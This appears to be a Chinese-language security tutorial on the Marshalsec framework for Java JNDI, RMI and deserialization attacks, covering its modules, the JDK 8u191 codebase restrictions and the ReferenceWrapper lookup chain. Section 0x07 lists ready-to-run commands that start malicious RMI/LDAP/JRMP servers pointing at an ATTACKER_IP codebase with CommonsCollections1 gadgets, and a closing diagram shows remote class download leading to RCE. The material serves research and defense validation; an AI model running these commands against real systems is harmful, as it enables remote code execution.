Marshalsec 工具详解
0x01.Marshalsec 是什么
Marshalsec 是一个用于研究和利用 Java 反序列化、JNDI 以及 RMI 安全问题的攻击与测试框架,由著名 Java 安全研究员 Moritz Bechler 开发。该工具并非传统意义上的“漏洞利用脚本”,而是一组可快速启动恶意服务端组件的集合,用于配合目标 Java 应用触发不安全的对象加载或反序列化行为。
从攻击视角看,Marshalsec 的核心价值在于:它实现了多种“恶意中间件服务”,用于在协议层面欺骗目标 JVM 主动执行攻击逻辑。
0x02 Marshalsec 解决的核心问题
在 Java 漏洞利用中,攻击者通常面临一个关键难点:如何让目标 JVM 在“看似正常的协议交互”中,执行攻击者的代码?
Marshalsec 的解决思路是:不直接向目标推送 payload 而是构造合法协议响应诱导 JVM 在反序列化 / JNDI 查找 / RMI 交互过程中自行加载并执行恶意对象或类。因此,Marshalsec 的本质并不是“发 payload”,而是扮演协议中的“可信服务端角色”。
0x03 Marshalsec 的整体架构思想
Marshalsec 采用模块化设计,不同模块对应不同的 Java 安全攻击面:
┌────────────┐
│ 目标 JVM │
└─────▲──────┘
│
┌─────────────────┼─────────────────┐
│ │ │
RMI Registry LDAP Server JRMP Listener
(JNDI) (JNDI) (RMI 序列化)
攻击者通过 Marshalsec 启动其中某一类服务,等待目标 JVM 主动连接并触发漏洞。
0x04 Marshalsec 的主要模块详解
JNDI 相关模块
(1)RMIRefServer
作用:启动一个恶意 RMI Registry,在 JNDI lookup 时返回包含远程 Codebase 的 Reference 对象。
攻击条件:
- JDK 版本允许远程 Codebase 加载
- com.sun.jndi.rmi.object.trustURLCodebase = true
- java.rmi.server.useCodebaseOnly = false
利用原理:
- 返回 ReferenceWrapper
- 指定 className
- 指定 codebase URL
- 目标 JVM 从 HTTP 服务器加载恶意类
(2)LDAPRefServer
作用:模拟一个恶意 LDAP 服务,在 JNDI 查询中返回可控的 LDAP Entry,触发远程类加载或对象实例化。
应用场景:
- Log4j2 LDAP 利用
- Spring JNDI 注入
- Fastjson JNDI 场景
RMI 反序列化模块
(1)JRMPListener
作用:监听 RMI JRMP 协议请求,并在反序列化阶段发送恶意序列化对象。
特点:
- 不依赖 JNDI
- 利用原生 Java RMI 序列化机制
- 常与 ysoserial gadget 链配合使用
HTTP Server 模块
作用:提供远程 Codebase,承载恶意 .class 文件。Marshalsec 本身并不强制内置 HTTP Server,通常配合:python3 -m http.server 8000或 Nginx / Apache 使用。
0x05 Marshalsec 与 ysoserial 的区别与关系
| 工具 | 关注点 |
|---|---|
| ysoserial | 构造反序列化 payload |
| marshalsec | 承载与投递 payload 的服务端 |
ysoserial 负责“造炸弹”,marshalsec 负责“引爆环境”。在实际利用中,两者经常组合使用。
0x06 Marshalsec 的典型使用场景
1.JNDI注入漏洞复现:Log4j2 JNDI RCE、Spring JNDI 注入、Weblogic JNDI 利用
2.Java 反序列化漏洞研究:RMI 接口反序列化、T3 协议利用、JRMP 利用链测试
3.安全研究与防护验证:验证 JDK 补丁效果、验证 trustURLCodebase 默认关闭后的防护能力、测试 WAF / RASP 对 JNDI 行为的拦截能力
0x07 Marshalsec 全模块命令
//安装Marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
//Marshalsec通用格式
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar <MainClass> [args...]
//启动RMIRefServer【固定监听1099】
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.RMIRefServer \
http://ATTACKER_IP:HTTP_PORT/#Exploit
//启动LDAPRefServer【固定监听1389】
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
http://ATTACKER_IP:HTTP_PORT/#Exploit
//LDAPRefServer+序列化对象
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
CommonsCollections1 \
"touch /tmp/pwned"
//启动恶意JRMP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jrmp.JRMPListener \
1099 CommonsCollections1 "calc" //监听端口:1099;ysoserial gadget:CommonsCollections1;执行命令:calc
//RMI Registry反序列化
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.rmi.RMIRegistryExploit \
1099 CommonsCollections1 "touch /tmp/pwned"
//HTTPServer
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.util.SimpleHTTPServer 8000
//强关联命令
javac Exploit.java //编译Exploit.class
python3 -m http.server 8000 //启动 HTTP Codebase
| 命令 | 场景 | JDK限制 |
|---|---|---|
| RMIRefServer | JNDI RMI | ≤8u191 |
| LDAPRefServer | Log4j | ≤8u191 |
| JRMPListener | RMI 反序列化 | 无 |
| JRMPClient | 触发 | 无 |
| LDAP + 序列化 | LDAP | 高版本 |
| RMIRegistryExploit | RMI | 特定 |
0x08 Marshalsec的安全意义
Marshalsec 并非自动化攻击工具,而是 Java 安全研究中的基础设施组件。它通过实现恶意 RMI、LDAP、JRMP 等协议服务,揭示了 Java 在对象查找、远程加载和反序列化设计上的历史性安全问题。理解 Marshalsec 的工作原理,有助于从协议和 JVM 行为层面理解 JNDI 与反序列化漏洞的本质。
0x09 为什么 JDK 8u191 之后 Marshalsec 利用默认失效
JDK 8u191 之前:为什么能被利用
在早期 JDK 版本中(≤ 8u191):JNDI lookup 不只是“查名字”,还会 自动实例化返回的对象并且 允许从远程 URL 下载 class。
流程如下:
JNDI lookup
↓
RMI / LDAP 返回 Reference
↓
Reference 指向 codebase URL
↓
JVM 自动下载 .class
↓
加载并初始化类(static 块执行)
以RMIRefServer为例:Marshalsec 启动一个恶意 RMI Registry返回一个 ReferenceWrapper,Reference 中包含:className(Exploit)、codebase(http://attacker/)。目标 JVM 在 lookup 时会:“哦,这是个合法的 RMI 对象,我去 codebase 把类加载下来”。攻击代码在 static 块中执行,直接 RCE。
JDK 8u191 之后发生了什么变化?
Oracle 在 2018 年集中修复了大量 Java 反序列化 / JNDI 利用链,核心策略只有一句话:禁止 JNDI 默认从远程位置加载代码。这一策略体现在多个系统属性的默认值改变:
RMI相关
| 参数 | 8u191之前 | 8u191之后 |
|---|---|---|
| com.sun.jndi.rmi.object.trustURLCodebase | true | false |
| java.rmi.server.useCodebaseOnly | false | true |
意味着:默认不信任远程 codebase,只允许加载本地 classpath 中的类。
LDAP相关
| 参数 | 8u191之前 | 8u191之后 |
|---|---|---|
| com.sun.jndi.ldap.object.trustURLCodebase | true | false |
意味着:LDAP 返回的 URL Codebase 直接被忽略。
JDK源码层面的防御逻辑:在 NamingManager.getObjectInstance() 中增加了明确校验逻辑:如果对象来自 Reference,且 Reference 指向远程 URL,未显式开启 trustURLCodebase,直接拒绝加载。
所以在靶场中需使用:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
-Djava.rmi.server.useCodebaseOnly=false
显式撤销 JDK 的安全防护,JVM 收到指令后,会退回到旧版本行为,允许:从远程 HTTP 加载 class、执行 static initializer。
0x0A Marshalsec RMIRefServer 返回对象结构解析
RMIRefServer 到底“返回了什么”?
RMIRefServer 返回的是一个 ReferenceWrapper 对象
ReferenceWrapper 内部再封装了一个 javax.naming.Reference
JVM 在解包并解析 Reference 的过程中触发远程类加载。
RMIRefServer 的角色定位
RMIRefServer 并不是“反序列化利用”。RMIRefServer 的行为是:
- 启动一个 RMI Registry(1099)
- 注册一个对象名(如 Exploit)
- 当客户端 lookup 时返回一个合法的 RMI 对象,这个对象 完全符合 RMI 与 JNDI 的协议规范
ReferenceWrapper 是什么?
com.sun.jndi.rmi.registry.ReferenceWrapper属于 JDK 内置类,不是 Marshalsec 写的。
ReferenceWrapper 的官方用途是:在 RMI Registry 中包装 javax.naming.Reference 对象,使 Reference 可以通过 RMI 传输。它本质是一个 RMI 远程对象包装器。
ReferenceWrapper 内部结构解析
ReferenceWrapper (Remote Object)
└── Reference
├── className
├── factoryClassName
├── factoryClassLocation ← Codebase URL
└── addresses(RefAddr)
客户端 JVM 如何解析 ReferenceWrapper?
//lookup 调用链
InitialContext.lookup()
→ RegistryContext.lookup()
→ RegistryContext.decodeObject()
→ NamingManager.getObjectInstance()
在 RegistryContext.decodeObject() 中:
if (obj instanceof ReferenceWrapper) {
Reference ref = ((ReferenceWrapper)obj).getReference();
return NamingManager.getObjectInstance(ref, ...);
}
ReferenceWrapper 被解包,Reference 进入 NamingManager。
NamingManager.getObjectInstance() 行为是真正危险的地方:读取 factoryClassName,如果本地 classpath 不存在,检查是否允许远程 codebase,若允许:从 factoryClassLocation 下载 .class、定义 Class、初始化 Class(static 代码块执行)。
0x0B 完整攻击链时序图
Victim JVM
|
| InitialContext.lookup("rmi://attacker:1099/Exploit")
|
Attacker RMIRefServer
|
| 返回 ReferenceWrapper
|
Victim JVM
|
| decodeObject()
| → getReference()
| → NamingManager.getObjectInstance()
|
| 从 http://attacker:8000/ 下载 Exploit.class
|
| ClassLoader.defineClass()
| → static {} 执行
|
RCE

浙公网安备 33010602011771号